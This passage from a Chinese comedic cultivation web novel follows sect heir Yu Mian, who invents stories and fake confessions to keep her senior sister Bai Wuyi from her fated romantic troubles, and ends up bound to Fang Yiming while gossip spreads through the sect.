他不好告诉身边当时其实这只是忽悠他瞎说的,其实自己私底下也认可喻眠认可得不行,还偷偷找了少门主报名,却被少门主瞧不起给驱赶了。 于是他只好认下了这个“没眼光”的称呼,并含泪后悔自己为了谋算他人让自己丧失了及时报名少门主队伍的机会。 …… 林小满和尤宋迎着胜利的光辉下台走向喻眠,脸上一个赛一个的高兴。 尤宋为了这一刻收拾过了自己,现在他看着没有原先那么狼狈,白皙的脸上没有灰,只有一双漂亮娇俏的眼睛,他对着喻眠娇声撒娇道:“姐姐实在太厉害啦,灵气化剑真让我佩服~好希望下场比试我也能用到姐姐的剑~” 还不待喻眠说话,林小满先为了自己使用的机会和尤宋互怼了起来。 喻眠这次没有打断他们二人,因为她看到两人为了她新炼的爱剑争吵,心中实在有些得意。 三人便这样吵吵嚷嚷向外门居所群走去。 * 另一边。 两位落败的弟子对视一眼,并不服气。 明明自己队伍能赢过对面才对,明明自己完全比对面两人才对。 凭什么输了,凭什么被选进喻眠队伍的不是自己…… 负面的情绪深刻笼罩着两人。 既然输了,既然不选自己进队伍,那也别怪他们狠心! 和林小满对战的人族师弟叫住主持比试的长老道:“这不公平,这可是严肃的青山剑试炼选拔,最需要公正。我要求重赛!” 长老幽幽地看了他一眼,还是回复道:“因为灵气化剑的事?那你还是算了吧。我们少门主因此夺冠赢了也不会干扰到你什么利益的,人家都能灵气化剑了还会稀罕一把青山剑吗,到时候取完剑回来依照她的性格也会再在外门送出去的,你真想要可以到时候再比试夺剑。” 长老她本质上就是一个和李玄琳一样挂个名字的内门弟子,和其他内门弟子一样喜欢着喻眠,于是对于师弟这样的质疑她也很自然地袒护着少门主回道。 虽说长老的话听上去没有偏心得太明显,但是与李玄琳决斗的师弟还是有些不满,他不高兴地顶撞道:“这件事应该和器修方溢鸣一事一样,不应该是一个内门弟子就可以说了算的吧。” “内门弟子说的话不算数?你是要亲传弟子说的话才行吗?白云间亲传弟子就三个人,你要是有本事现在就去把喻眠叫回来,听着她判定一遍自己完全合法合规吧。小师弟,做人有时候也没有必要这么羞辱自己。” 长老说话意味深长,那位师弟面上顿时羞愤,晃着脑袋回去刚想和队友抱怨。 却见队友也幽幽叹了口气说道:“得不到的师长就要毁掉吗?作为你的队友真为你感到丢脸。” 师弟:? “哎,以后在外门别说你和我一队过,真是太丢脸了。”妖族队友叹了口气走开了,将他一个人留在原地。 师弟顿时感到十分羞愤,他看看队友离去的方向,看看长老站立的方向,又看看喻眠离去的方向,心下不甘。 这群可恶的人!除非他也能进入到喻眠的队伍当中去,否则他必不与这些人同流合污。 他攥紧拳头,暗暗发誓,他势必要让这次比试进行重赛,维护比试的公正! * “没错,当时我的那个对手师弟就是这样在背后议论我们队伍的,不过并没有一个人理睬他,毕竟那可是少门主!”得胜的林小满春风得意,又在老位置上讲着八卦。 “真的假的?”下面一位年长的弟子问道。 “呵,这可是从内门传来的一手消息,有主持长老亲自提供,这还能有假?” “额……话是这么说,不过少门主不是提醒过你不要再瞎传八卦了吗?这么控制不住自己?”有一位听过完整瓜料,得知事件始末的弟子在下面小声嘟囔吐槽林小满道。 要不是林小满当时瞎传八卦导致了少门主灵气化剑进程被影响,当时两队的比试也不会这么危机,要是拖延不到少门主及时赶来救场,林小满可是害喻眠淘汰在第一回合的最大元凶。 身边另一人听到她嘟囔,急急捂住了她的嘴,贴在耳边小声说:“当心给林小满听见,要是她生气了不给我们继续讲八卦听,大家都会怪你的。” 不过林小满并没听见,她正享受着大家因为喜欢喻眠而带来的急切想要听故事的吹捧,于是万分自得地继续讲着这段时间在少门主队伍的经历。 主要详细描绘了大家想听的和少门主有关的一切,然后偷偷明里暗里地贬低着自己的队友尤宋,说他是一个多么没用的废物。 * 没用的废物 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模仿上学无所成也就罢了,竟然还对模仿对象动了心。 于是尤宋越想越伤心,他这样做不好所有的事情,怎么能配得上心上人。 一想到这里,原本心情还算稳定的尤宋忍不住红了眼眶,流下眼泪。 方溢鸣有些手足无措,他就说了一句话而已,尤宋怎么哭了呢。 他见不得别人哭,忍不住安抚尤宋道:“你这是怎么了?发生了什么事了吗?刚刚比试胜利不应该高兴一点吗?” 粉衣少年闻言身躯微微一颤,听到方溢鸣说“比试胜利”的话后,他又想起了那个闪耀非常的喻眠,和哪怕胜利都需要依靠她的自己,脸上更显愁容。 方溢鸣顿时无奈。 来到白云间后,他就试着安抚过两个人,为何却没有一次成功,反而让两人哭得更加起劲呢。 不过他还是耐着性子对尤宋安抚道:“是我说的什么话让你不开心了吗?那我就不多嘴了。没关心的,没有什么大不了的事,积极一点,向上一点,你的修仙生活总会越来越美好。” 鸡汤文学并没有打动尤宋,他还是万分哀愁。 方溢鸣叹了口气,又和上次安抚自己新认的小妹一样,不再说话,只是静静地站在尤宋旁边,等待着他自己的情绪有所好转。 尤宋见方溢鸣实在体谅人,又想着这些日子他一直教着自己识文断字,的确是一个好心人,他便有些按捺不住自己的倾诉欲了。 拜无衣的情劫二号娇俏妖族尤宋准备向拜无衣的情劫一号器修白月光方溢鸣倾诉自己对于喻眠的爱意,表达自己觉得自己配不上白云间少门主的苦恼。 尤宋长发披散,抬起那张楚楚可怜的脸,声音细弱带着哭腔道:“我感觉我自己什么都做不好,而我的心上人喻眠又是那么优秀,想到这里我没有办法不难过。” 听到这番话,方溢鸣想着自己新认得那个小妹的样子,回忆着这段日子听到的关于喻眠的传闻道:“啊,你是因为喜欢她而哭啊。她的确很优秀,长相秀气,实力非凡,为人大方……” 方溢鸣嘴巴里的“但是你也还不赖,请不要因此自卑”还未说出口,这时房门却被一双手猛然推开。 来找尤宋讨论比试事宜的喻眠在门口听到了方溢鸣嘴里最后的那句话,顿时脑补出了一出“尤宋承认自己喜欢大师姐,方溢鸣一听顿时回忆赞叹起大师姐而后也心生爱慕”的大戏。 她顿时惊觉不妙,按照剧情大师姐死于烂桃花,而这两人都是大师姐的情劫,她切不能让这两人缠上师姐。 于是喻眠一脸悲愤地对着二人说:“你们和我大师姐是没有可能的!我的大师姐她……喜欢弱智!” 此时屋外恰好要来找方溢鸣拿他给师妹炼的砚台的拜无衣:? 22. 第二十二章 拜无衣神情并不好看,凛冽的眼神在喻眠身上转了个圈儿,后穿透屋门缝隙,尖利地射到屋内二人身上。 尤宋粉白的脸上沾着泪珠,双目通红,略带懵懂地看向喻眠;方溢鸣则是一脸震惊和怅然。 门槛之外,喻眠仍旧神采奕奕,兴致盎然地用悲愤的语气说着些关于自己的鬼话。 拜无衣见此微微蹙眉,抬步想要上前阻拦,看到双髻少女那副浑然不觉洋洋自得的样子还是收回脚步。 她退到了屋旁树后,隐去半张身子,半暗眼眸瞧着喻眠和屋内两人的动静。 喻眠从未顽劣至此,屋内二人又是需要礼待知会的他宗之客,比起贸然上前,却也可以再观察一二。 喻眠的确浑然未觉身后大师姐的到来,她仍旧是满面悲愤,偷偷斜眼观察着面前两个情劫的反应,琢磨着再添上一把火,好让两个人彻底死心。 少女鸦睫轻颤,硬生生给她挤出两滴眼泪,她背对着拜无衣本人悲愤地继续胡扯道:“我知道你们可能很难接受,但是事实就是这样的,白云间风清气洁的清渊道长喜欢的类型就是弱智,越弱智越喜欢,我曾亲眼目睹大师姐给一个说话都要流口水的人写情书。所以……你们还是放弃吧!你们和我的大师姐,是真的没有可能的!” 拜无衣闻言气笑了,一双狐狸眼上挑,但却依旧没有上前,她摩挲指尖,想要分析探究喻眠这番话后深层次的东西。 喻眠可是白云间的少门主,虽然尚且年纪不大,却也不会因为自己一时兴起说些妨碍师门声誉的疯言疯语。 回想一下,这样的事情七日内也发生了不止一次了。 外门试炼时莫名和方溢鸣说他学个基础剑诀都会对世间造成祸患;试炼终点莫名应和向来不对付的沈飞知,不想要尤宋进入白云间;还有今天对着这两个人契而不舍说的一番鬼话。 拜无衣探究的眼神朝喻眠望去,是她发现到了什么吗? 难道说这两人可能会威胁到白云间,于是喻眠在背着她独自扫清师门祸患吗? 可是若是前两次的可以解释成不想让这两人加入师门,那这次又是为什么? 拜无衣尚未来得及深入分析,另一头喻眠又开始悲愤地嚷嚷了起来,声音的动静引得她先抬头向喻眠看去。 喻眠说完刚刚那番鬼话后突然反应过来尤宋智商并不高,和她口中形容的大师姐理想型也没什么区别了,他不就是白云间外门最大的弱智吗? 说不准这小子听了她刚刚的一番话喜上眉梢,觉得自己和大师姐天生一对呢。 喻眠想到这儿便转眼朝尤宋看去。 只见他半张身子斜依靠在墙上,红通通的眼睛怔怔地望着喻眠,头发垂落在身侧。少年骤然发现心上人也向自己看来时,他面颊又飞速晕起一片霞红,而后他垂下眼眸,挪过眼神,扭捏着不好意思再抬眼与喻眠对视。 反观方溢鸣大大方方的震惊,尤宋不敢直视自己的行为就显得十分可疑了。 喻眠懂了。 肯定是尤宋还贼心不死,在那里肖想她的大师姐。 还好她喻眠英明神武,慧眼识珠,一下子就看破了尤宋的这些坏心思。 “尤宋!抬起头来!直视我的眼睛!”喻眠对着尤宋说道。 尤宋被她说得浑身一震,哆嗦了一下身子,然后扬起白皙的下巴和充满泪痕的脸看向喻眠。 喻眠话语透着悲愤和狠铁不成钢:“你不要抱着侥幸心理,你和我大师姐,真的是没有可能的!因为她弱智的主要原因是因为她……喜欢我的二师兄沈飞知!她就是因为喜欢那个弱智白痴孽障狗贼衣冠禽兽道貌岸然神经兮兮的白云间第一神经病却爱而不得,所以才求似仿形地喜欢上了别的弱智群体。她早就心有所属了,你放弃吧。” 尤宋听不懂喻眠这番话的目的,不过不妨碍他听到这么惊为天人的话后面上浮起错愕。 喻眠却狠狠抹了一把眼泪接着道:“我记得你上次在外面试炼的时候说,你不能接受这种和亲师兄妹有不伦之情的人了,那正好,你也不是大师姐的理想型,她也不是你的……” 这时,喻眠感觉自己的肩膀被人在背后拍了拍。 喻眠又哭又演地正起劲,不耐烦地抬起右手,用手背拍掉了右肩的手。 她继续悲愤地说出了她的未尽之言:“她也不是你喜欢的类型,毕竟大师姐可是你讨厌的不伦之人。你们之间的情缘,就请这么断掉吧!” 说完喻眠内心有些洋洋得意,自己竟然能编出这样一道鬼话劝退两位情劫。 “喻眠啊。我怎么不知道我有这个情缘呢。”喻眠右耳一道清浅干净的女声低声道。 刚刚被拍过的右肩再次被一只手轻轻覆上,明明力道很轻,她这次却恍然感受到了千金山压向自己脆弱的右肩。 她意识到了这是大师姐拜无衣的声音,喻眠缓慢而僵硬地转过头,露出一个尴尬的笑。 该说大师姐不愧是无情道五阶,还是该说自己警惕心太差,就连大师姐什么时候都来了都不知道。 甚至于刚刚大师姐拍她提醒她的时候她还戏精上瘾,把大师姐的一次警告当作儿戏,继续说着那些诋毁师姐的话语。 大师姐到底听了多少,她喻眠最后会经受大师姐何等的处罚和批评。 想到这儿,喻眠原本僵硬的笑容也渐渐拉平,最后变成了一个强作笑意的苦脸。 这次都不需要李玄琳告状,她自己就把自己送到大师姐面前了。喻眠攥紧拳头,看着拜无衣那种狐狸似的脸和不达眼底的笑,内心升起惶恐。 拜无衣轻笑了一声,单手缓缓摁上喻眠的肩,眼神不落在紧张的喻眠身上,反而向屋内两人看去,清晰凛冽的声音笑道:“师妹不懂事,孩子心性,给二位看笑话了。” 拜无衣说话音色清冽干净,声音和煦自然,说出东西哪怕是假话也不似作伪,她轻描淡写想要把今日喻眠所作所为带过。 说完给宗外人的说辞,拜无衣才再轻轻瞥了喻眠一眼。 仅仅一眼,喻眠顿时感觉魂飞魄散。 她感觉接下来数月都要被关禁闭再没有自在快活的日子过了,而且这次不似以前处境,这次可是有天道之书横在头上,预示着大师姐即将在未来几月的青山试炼中堕入情劫,性命不保,她喻眠若是被关了禁闭,还有谁能去青山试炼拯救大师姐呢。 为了避免惩罚,不待大师姐再向屋内人确认表情再微笑解释,喻眠咽了口口水,强忍住对大师姐的恐惧,慌张向她当场辩解道:“大师姐我刚刚说这一切都是有原因的!并不是我孩子心性无理取闹,这一切都是因为我——喜欢你!” 闻言,拜无衣原本摁在喻眠身上施压的手陡然松了力道,精明的狐狸眼上浮现起一丝茫然,她平生难得的感受到大脑一片空白。 见拜无衣没有立刻反应过来,喻眠又接着匆忙连珠炮似地解释,试图在她思考之前将所有的鬼话先灌输到大师姐脑海中,她道: “大师姐我实在太喜欢你,生怕别人抢走你,于是我今天忍不住向我身边每一个潜在的情敌贬低你,妄图以此减少我未来的竞争对手。大师姐实在对不起,不过请你原谅我,主要这一切都是因为我实在太喜欢你了啊。 我知道这对大师姐你而言可能有些突然,但是大师姐先不要急着拒绝我。自从师妹见到师姐的第一眼开始,我的内心就对师姐充满崇敬,随着时间流逝,这份感情慢慢演变成了喜欢,而喜欢是藏不住的。师妹实在压抑不住自己的内心,正好今天捅破窗户,在这里向师姐告白。 师姐如果能够接受,那是顶好的。倘若不能,师妹也欣然接受,依然会默默地喜欢着师姐。” 喻眠说完微微抬眸快速扫过拜无衣的表情,大师姐果然懵了,她的眼神里已经失去了对她的生气责备,只剩下了一片茫然。 看来这次逃过一劫。 这次不用被大师姐批评责备关禁闭了。 那现在看来,“为了加入喻眠队伍就向同伴贬低喻眠”的外门师弟师妹们也不全是坏人了,毕竟给她提供了“因为爱师姐所以在竞争对手面前贬低师姐”的灵感。 喻眠以为自己这次不用受罚,放松了心神,有一搭没一搭地想着。 拜无衣听着喻眠的告白微微蹙眉,原本按在少女肩膀上的手收了回去,然后郑重地看着她的眼睛,开口道:“对不起,我不能接受。” 说完,她顿了顿,余光瞥向屋内二人,还是压下心中对喻眠未言之话。 为什么喻眠会直接放松下来了呢?她想不明白。哪怕是出于爱她的目的,喻眠也的确做了错事啊。做了错事,就该挨罚。 拜无衣没有说出声,但是多年的相处让喻眠格外能看懂她的脸色,她知道这是拜无衣并不打算对她轻拿轻放的意思。 少女脸色微白,她感到腿有些软,强撑着站直却还有些微微发抖,眼眶没有盛出泪,却还是有些发红。 一是害怕责罚,二是被大师姐说破后的不堪,三是想到被关禁闭后大师姐的命运。 要知道她刚刚才见到两个情劫在那里互诉对大师姐的爱意,要是没有她在,大师姐可怎么办啊。 难道要她闭关出来就看到陪伴自己十八年的大师姐的尸骨吗?如今还在活着的,鲜活教训她的大师姐的尸骨。 这一次和外门试炼终点那次不同,那次虽是看着尤宋和大师姐上演情深,却是在解决尤宋的道路上,而这次却要被推入禁闭室,看着天道之书却无能为力。 喻眠蜷缩起手指,显露脆弱。 她看到拜无衣见到她这副样子侧过头道:“要不……你再说一遍。” 喻眠有些愣神,没有明白过来大师姐什么意思,但她以为这件事情有转机,便急忙张口说道:“大师姐我喜欢你。” “对不起我还是不能接受。”拜无衣再次道。 喻眠不像拜无衣一样有那么多顾忌,她不在乎身旁有两个大师姐的情劫在旁围观,干脆让这两个人看得心碎了才好。 于是她直接满面伤痛地问出了声:“大师姐,你既然要拒绝我,又何必让我再说一遍戳自己痛处呢?” 拜无郑重地垂眸解释道:“这是想要说明我的拒绝的确是思考过后的认真拒绝,而不是听完后的随性反应。喻眠,你年纪小不懂事,但是我不能这样把你引导到一条亲师姐妹的感情上去。” 她其实是有些信服喻眠说喜欢自己的,不然为何以前没看她犯了错这么恐慌过,这次和以前唯一的不同就是喻眠除了犯错还对她求爱,这也能解释师妹这段日子的不同寻常。 拜无衣说的话顺着风吹到喻眠的耳朵里,左耳朵进右耳朵出。 喻眠没把大师姐说的话当回事。 一是她本身就不是像她说的话那样在认真地倾诉压抑多年的情感; 二是听拜无衣话语的内容喻眠能听出来大师姐真正的意思,面上是对着自己在说话,其实暗里还是在向那两个围观的人解释白云间里没有混乱的感情关系,她喻眠也就是小孩子,之前和她们说的所有话全部都是小孩子胡闹。 不过喻眠并不在乎拜无衣说了什么,只要语气听出来大师姐的确是有一些对自己的不忍就足矣。 有大师姐的这一点不忍自己就不会被关禁闭,不会被关禁闭就可以继续拯救大师姐的性命。 喻眠已经彻底放下心神,只要未来几月还有在外活动的机会,即使今日话语诱导两个情劫不成,那便还有下次机会再另行谋划。 然而,就在这时,一旁围观着的尤宋轻颤睫毛,抬起了他那张白皙娇俏的脸,打破全场已经趋于平缓的氛围,对着喻眠薄唇微张,轻缓开口道: “师弟实在压抑不住自己的内心,正好今天捅破窗户,在这里向师姐告白。 师姐如果能够接受,那是顶好的。倘若不能,师弟也欣然接受,依然会默默地喜欢着师姐。” 喻眠:? 这是什么动静?怎么回事? 一旁的方溢鸣左右看了眼拜无衣和喻眠的反应,然后连忙捂住了尤宋,说道:“尤宋,现在不是你模仿的时候,别添乱了。” 方溢鸣是知道尤宋刚刚的确对喻眠诉说真情的,但是此时此刻为了不让场景再乱下去,他还是把一切推到尤宋喜欢模仿喻眠一事上。 喻眠表情有些恍然大悟,心里暗自腹议尤宋的傻气;拜无衣不知始末,只是淡淡微笑。 尤宋却硬拉开方溢鸣的手,将自己薄粉的唇解脱出来,对着喻眠倔强地开口道:“喻眠,我是真的喜欢你。” 这尤宋非要这么敬业地模仿两遍吗? 喻眠眉毛一挑,也配合地拒绝道:“对不起我还是不能接受。” 说完她再次转向大师姐,表情切换悲伤,试图看出自己一番话是否唤起大师姐的怜惜之情。 但见尤宋听到干脆利落的拒绝,便涨红了脸,不服气地问道:“为什么?” 喻眠随口用今日最常见的拒绝理由拒绝道:“不好意思啊,我不能接受师姐弟之间的感情。” 转头说完,喻眠再次看向大师姐,大师姐的表情却带着些似笑非笑,再看不出半分疼惜来了。 糟糕。 喻眠这才反应过来,要是她都不能接受和尤宋这样的师姐弟恋情,她是怎么能爱上同一个师尊的直系师姐的呢。 大师姐现在反应过来了岂不是又要关她禁闭,甚至在原本的时间上再次加期,那她该如何根据天道之书救下师门众人,难道要她眼睁睁看着大师姐的丧生却无能为力吗? 心有情谊的无情道少女尬笑两声想要解释,但是此时即使解释自己爱之深以至放弃原则,也很难再让大师姐信服了。 喻眠扫了一眼在场所有人,蓝衣飘飘似笑非笑的拜无衣,墨发如瀑双目红红的尤宋,以及身形瘦高满面担忧的方溢鸣。 “其实我一直以来喜欢的都是你,方溢鸣。”喻眠深情款款地拉起方溢鸣的手道,“我所做的这一切都是为了引起你的注意,无论是外门试炼第一天主动和你攀谈,还是今天对你挑起的新话题,还是刚刚向亲师姐大师姐的告白,全部都是为了引起你的注意。方溢鸣,我喜欢你。” 方溢鸣是天器谷弟子,在白云间仅仅是挂个名,她与方溢鸣之间不算师姐弟。 既然大师姐对自己产生的疼惜是因为自己的失恋,那对谁失恋都是一样的。大师姐的聪慧不太可能再去相信自己对她的告白,方溢鸣不可能答应自己的告白。 于是喻眠转而拉起方溢鸣的手深情款款地诉说情谊。 尤宋对喻眠投来了怨怼的目光。 方溢鸣沉默了半晌,说道:“小妹,是不是今天一天都是你和清渊道友对我的考验。” 方溢鸣跳脱的思维让喻眠没有反应过来。 他继续说道:“我记得当日第一次考验过后,你就特地又以清渊道长会夺舍灵根考验了我一次,并且没有告诉我考验结果,是不是你也不太确定我的表现能否通过考验,于是今日又联合了拜无衣再考验了我一次?我现在应该答应你的告白还是拒绝你的告白才能通过考验?” 尤宋听完方溢鸣这番话是松了口气,喻眠却感受到如芒在背。 身旁大师姐的视线越来锐利,她多半是被方溢鸣一番话勾起了那日的回忆,还被透露了她原本不知道的后续部分。 喻眠头皮发麻,却还是继续微笑圆道:“这一切若要说是考验,那也是对我爱的一颗真心的考验。那日后续的攀谈是为了引起的注意,现在看来也的确成功在你心里留下了浓墨重彩的一笔,让我万分欣喜。而今日听到你和尤宋屋内所言,便实在心切,于是我……” 喻眠还在长篇大论,方溢鸣的表情愈发困惑,今天发生的一切对他而言就像一场荒唐的闹剧,他不理解在场三人每一个人说话做事的逻辑动机。 方溢鸣对喻眠的告白感到困惑。 方溢鸣接受了喻眠的告白。 喻眠还在那里叽里咕噜地继续诉说自己有多喜欢他,为了引起他的注意做了哪些事,试图让大师姐相信自己的的确确喜欢方溢鸣。这样等自己被方溢鸣拒绝后的情伤才会被大师姐怜惜,以至自己可以不用被关禁闭,继续谋划自己拯救师门的大计。 结果方溢鸣竟然点头答应了,喻眠的话语戛然而止,接着是满脸迷茫。 “啊?你竟然答应了?” 方溢鸣答应了的话她还怎么情伤呢,不能情伤大师姐怎么疼惜她然后对她今日所为轻拿轻放呢,不能轻拿轻放被关了禁闭她还怎么拯救大师姐性命呢? 强烈的不安冲击着喻眠的心脏,再随着心脏传到五脏六腑。 方溢鸣以为喻眠是在问他答应的缘由,于是认真回道:“嗯。因为我感觉这次的考验答案应该是需要答应你的告白,因为今天所有发生的事都太匪夷所思了,正常人都会拒绝的吧,既然是考验怎么会怎么简单呢,所以我要反其道而行之。喻眠,我接受了你的求爱。” 喻眠有些气笑了。 对方溢鸣的气恼、对于自己无法因情伤卖惨的怨愤、对于即将被关禁闭的不安、对于自己被关禁闭后没有办法拯救大师姐的焦躁、对于可能要看着大师姐顺应天道之书死亡的恐慌…… 无尽的情绪冲刷着喻眠的灵台,情急之下,她的无情道当场突破了二阶。 境界松动,周遭激起巨大的灵力波动,喻眠就像一个漩涡,疯狂地吸收着身边的灵力。 灵力波动引起四周起波澜壮阔的灵风,无需喻眠自己违规动用灵力,双髻少女就拥有了一个随风大肆飘扬的新发型,只是显得纷乱无比,并没有她平日给自己吹的那般灵秀潇洒。 场上两位情劫见此情形面露惊异赞叹,不愧是白云间少主喻眠,仅仅突破无情道二阶便有如此大的动静,先前甚至更是无情道一阶的时候便有了灵气化剑的实力,将来喻眠定能继承白云道长和清渊道长风范,甚至超越二人大有作为。 拜无衣除了欣赏外还有几分若有所思。 喻眠是因为多日来对大师姐性命的担忧情切而心性波动突破了无情道二阶,但是拜无衣不知道这些,只以为是喻眠是的确爱着方溢鸣,因为情劫突破了无情道二阶。 为了让喻眠稳定修为,巩固刚刚进阶的无情道二阶基础,拜无衣勾唇一笑,对着方溢鸣承了个礼道:“比起说是对方道友能否学习基础剑诀的考验,师妹是真心喜欢道友,想要与道友共同修行白云无情剑的考验,我也这才反应过来师妹用心。” 经过拜无衣话语的加工,今日喻眠一切所为便皆是她提出的考验,她再以白云间内门才能学习的无情剑诀为饵,换得方溢鸣应下考验,同意喻眠的示爱。 喻眠经此和方溢鸣的一番情缘,稳固无情道二阶和磨练心性。事后若有什么差错,她也可以说当初就是自己刚刚反应过来可能反应有误,再另行解释不妨碍白云间与白云间少门主的声誉。 听到拜无衣说自己通过考验将有新的剑法学习,方溢鸣连忙应下,在他心中求道学习之心超过所有,今日仅仅答应喻眠告白便可学习清渊道长名扬天下的白云无情剑,简直是一桩天大的喜事。 欢喜过盛,方溢鸣甚至没有细想为什么能否学习白云无情剑的考验竟然是是否答应喻眠的告白。 一应未知地被大师姐定下这么一桩情缘,喻眠有些厌烦地抓了一把头发,想着该怎么才好摆脱这桩情缘才好。 她又不喜欢方溢鸣,方溢鸣也不喜欢她,这样一桩情缘结下来又有何意义呢? 仅仅是为了方溢鸣修炼白云无情剑诀,自己可以免受禁闭处罚好拯救未来会深陷情劫的大师姐吗? 欸,不过这样说来也的确是好事一件。看大师姐现在这个样子是不会再关自己禁闭了,反而想要打算把自己放出来渡情劫巩固无情道,以及自然可以自由活动拯救师门。 而且……和情劫二号结成情缘不就可以直接了断他和大师姐的情劫吗? 他都和自己在一起了还怎么当烂桃花谋害大师姐性命呢? 喻眠反应过来后便高高兴兴地不打算推拒了,而是拉起方溢鸣的手,继续深情款款道:“吾爱,没想到你真的能答应我,与我结为情缘,太好了。从此在天愿作比翼鸟,在地愿为连理枝。” 皆大欢喜的局面,屋内却陡然爆发出一阵痛心哀伤的啜泣声,尤宋委屈可怜地看向喻眠,而后又红眼死死盯着方溢鸣。 见两人都不理自己,尤宋含泪夺门而出,心中怒斥方溢鸣:“方溢鸣你这个贱人,亏我还以为你教我识字宽慰我情感上的痛苦是个好人,没想到自己早早就心怀不轨,图谋勾搭走了好舍友的心上人。贱人!” 尤宋哭泣着离开外门居所,将伤他心神的三人留下,他粉白圆润的手一抹娇俏红丽的泪眸,小跑着想要找熟识的人安慰自己。 烈阳高照下,粉衣少年奔腾在辽阔的白云间,宛如粉红一点,从尘土飞扬的外门奔至内门。 随着他的脚步,周遭环境树丛渐密,一座精致的朔林竹院渐渐显露在眼前。 流水曲觞,亭台楼阁。 院落大门张开,尤宋学着那日模仿喻眠的跑姿,再次在泥土地踩下脚印。 这次天上没有刚刚下过雨雪,地面较干,脚印较浅。多日模仿稍有进展,一只脚印较另一只浅上几分。 尤宋冲进大开的院子里,穿过流水曲觞与人造园林,沿着小道走到一处小竹楼边,依靠在门上“砰砰”敲打着房门,他半张柔软的脸贴着坚硬的竹门,墨发垂落。 等了半晌,沈飞知拉开了直作响的房门,一脸的不耐烦。 他披散着一头黑发,身上匆忙套着一件松松垮垮的纯棉白色里衣,右手揉了柔自己凌乱的头发,整个人懒洋洋地靠在门框上:“喂,大早上的敲本少爷的门干嘛?扰人清梦。” 门被打开,尤宋乖顺地站直了身体。他被沈飞知带跑,一时没有反应过来戳穿现在已经是日上三竿,只是哭啼啼地向他哭诉着今日的遭遇。 沈飞知本就是个没有耐性的,若不是当日拜无衣把尤宋托付交代给他,他甚至不会多理睬此人,此时便也是没骨头地依靠在门框上,单手把玩着自己的头发,有一搭没一搭地听着尤宋的诉苦。 等到尤宋讲到自己被拒绝那段,沈飞知终于抬手拖了拖头发,向斜上方一翻白眼,腰肢一扭:“啧啧啧,没我漂亮是这样的,就是容易被他人拒绝哈。自己多多反省为什么长得没有我漂亮哈。” 说完沈飞知有些自恋地抚上自己的脸,潇洒转身关门离去,看样子是回去照镜子臭美了。 尤宋懵了一瞬,再次含泪夺门而出,心中怒斥沈飞知:“沈飞知你这个混蛋!对待交给你照顾的弟子就是这么薄情寡义,满脑子都是美不美那档子事!庸俗!” 日落黄昏下,粉衣少年再次奔腾在辽阔的白云间,宛如粉红一点,从树丛茂密的内门奔至外门。 他跑过错落有致的丛林,乘坐小船穿过岛屿间川流,来到尘土飞扬空地众多的外门。 少年粉衣翻飞,金丝衣摆随风动作飘扬,尤宋奔跑至心上人的外门简朴居所,试图祈求安慰。 然而他扒上窗户,却见方溢鸣那个贱人待在心上人的屋子中,看得他咬牙切齿。 喻眠手拿砚台,对方溢鸣投去感激的目光:“不愧是天器谷的核心弟子,黄品砚台仅需七日便可炼成。” 方溢鸣爽朗一笑:“谬赞了,其实我在来白云间直接就炼好了,只是一直被考验一时困惑心头,一时忘了正事。今日经过清渊道长的提醒,我这才想起来。你要先试试用用看吗?” 这种场景,加上两人如今的身份,在尤宋看来简直有无尽情愫萦绕二人,看得本想要找心上人慰藉的尤宋更加心伤。 尤宋红眼磨牙,再次含泪夺门而出,心中怒斥喻眠:“你既然为什么不懂我的心意,又为什么要懂方溢鸣那个贱人的心意!既然不懂我,又何必懂别人?你不是无情道修士吗?为何非要深陷情爱!” 夜幕降临下,粉衣少年再次飞驰在辽阔的白云间,宛如粉红一点,从尘土飞扬的白云间外门跑至白云间外门。 白云间他认识的人不多,除了方溢鸣那个贱人和让人望而生畏的拜无衣已经全部找过,但是无一人能倾听理解他的烦恼。 剩下只余林小满一人,但是尤宋没有在她的居所看到她,打探了消息原来是她在比试结束后一天都在外面讲八卦。 尤宋重新出发,来到辽阔空白的黄土地,满地的石子,中间横躺一块巨大的岩石。 围坐着听八卦的人群刚刚散去,讲得口干舌燥的林小满坐在地上靠着石头大口喝水,余光扫到尤宋视而不见。 尤宋只当林小满是还没看到自己,小跑上前,满面泪痕,哭诉道:“林小满,我遇到事儿了。” 林小满本来还打算继续不理他,听到尤宋这番话又改了主意,总觉得接下来会听到什么不得了的消息。 她放下水壶,在昏暗的月光下眼睛闪着光,抬头看着尤宋问道:“怎么了?” 尤宋感觉林小满没有嘲笑他的意思,听语气也像是一个耐心倾听的,于是便哭哭啼啼地把今天后来发生的所有事说了一遍,包括后来他再去找沈飞知喻眠安慰未遂的部分。 林小满听完眼里闪着雀跃兴奋的光,假惺惺地安慰了两声尤宋,然后便高兴着自己竟然又有了这么崭新的猛料。 少门主上次竟然还不承认自己是因为暗恋白云间外门弟子而特地来的白云间追爱,今天尤宋都已经亲眼目睹了她告白的场景了。 一次是误会,第二次她总不能还要抵赖。 不敢想象这个消息爆出去该有多劲爆。白云间少门主为爱来到外门勇敢追爱,并且大获成功;试炼队友爱上师长求而不得;白云间亲传弟子与外门普通妖族攀比美貌。 这些消息随便漏个其中之一的大概都不知道会引起怎样的轩然大波,竟然给她林小满在一个晚上全部掌握了,简直妙哉。 尤宋倾诉完听了几声安慰心里好受多了,通红的面色渐渐转平,他拿袖子擦擦眼泪,耸耸鼻子,朝林小满投去感激的目光。 林小满故作大方地挥手示意无碍,月光下的眼睛却闪烁着悦动的光芒。 * 第二天。 前一天晚上送走了方溢鸣后,喻眠兴奋得捧着新砚台画符画了个通宵,睡醒已是日上三竿,对于外界这段时间发生的一切恍然未觉。 她伸个懒腰,换好衣服,对着窗外刺目的阳光微眯眼睛,再踏出房门。 行走在白云间,刚睡醒还有些懵的喻眠习惯性地向周围向自己问好的弟子回招呼。 “少门主午好。” “午好。” “少门主好。” “你也好。” “少门主比试加油。” “你也加油。” “少门主比试必胜。” “你也必胜。” “少门主新婚快乐。” “你也快乐。” “少门主百年好合。” “你也百年好合。” “少门主我要吃喜糖。” “你也要吃喜糖。” 说完这句逻辑不通的话,迷迷糊糊的喻眠终于反应过来了不对,回头向刚刚最后三个向她问好的弟子看去,最后一个还捧着双手对她笑着讨要喜糖。 见此,喻眠的大脑终于彻底清醒了。 她扯出一个笑,心里咬牙切齿地说着一个名字“林、小、满”,这样的传播能力,自己刚刚睡醒全天下都知道她结了情缘这件事了,除了八卦王林小满不可能再有旁人做到了。 至于给林小满传递消息让她知道此事的人,肯定是尤宋。 喻眠应付完面前弟子,准备去找两人算账。 心里推算完两人此时约莫的位置,她便转身往教习堂走,心里盘算着要怎么样好好教训一下两人。 